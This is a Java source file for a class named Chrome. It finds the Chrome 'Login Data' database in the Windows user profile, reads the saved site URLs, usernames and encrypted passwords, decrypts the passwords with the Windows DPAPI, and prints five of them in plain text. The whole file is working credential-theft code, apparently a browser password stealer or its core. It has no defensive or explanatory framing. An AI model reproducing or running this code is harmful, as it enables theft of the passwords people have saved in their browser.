import java.io.File;
import java.util.logging.Logger;
import java.util.logging.Level;

import com.almworks.sqlite4java.SQLiteConnection;
import com.almworks.sqlite4java.SQLiteStatement;

import com.sun.jna.platform.win32.Crypt32Util;

public class Chrome{

    public static String DATA_FILE_PATH;

    public static void check(){
        try{
            Logger.getLogger("com.almworks.sqlite4java").setLevel(Level.OFF);
            File file = new File(DATA_FILE_PATH+"\\Login Data");
            if(!file.exists())
                return;
            SQLiteConnection db = new SQLiteConnection(file);
            db.open(true);
            SQLiteStatement st = db.prepare("SELECT origin_url,username_value,password_value FROM logins");
            for (int i = 0; i < 5 && st.step(); i++) {
                String s = "url:"+st.columnString(0)+", user:"+st.columnString(1)+", pass:";
                byte[] encryptedPass = st.columnBlob(2);
                byte[] decryptedPass = Crypt32Util.cryptUnprotectData(encryptedPass);
                String decrypted = new String(decryptedPass);
                System.out.println(s+decrypted);
            }
            st.dispose();
            db.dispose();
        } catch(Exception e){
            e.printStackTrace();
        }
    }

    static {
        String os = System.getProperty("os.name");
        if (os.contains("Windows")) {
            String user = System.getProperty("user.name");
            if (os.contains("XP")){
                DATA_FILE_PATH = "C:\\Documents and Settings\\"+user+"\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default";
                if(!new File(DATA_FILE_PATH+"\\Login Data").exists())//PT(language)
                    DATA_FILE_PATH = "C:\\Documents and Settings\\"+user+"\\Definições Locais\\Application Data\\Google\\Chrome\\User Data\\Default";
            } else
                DATA_FILE_PATH = "C:\\Users\\"+user+"\\Appdata\\Local\\Google\\Chrome\\User Data\\Default";
        }
    }

}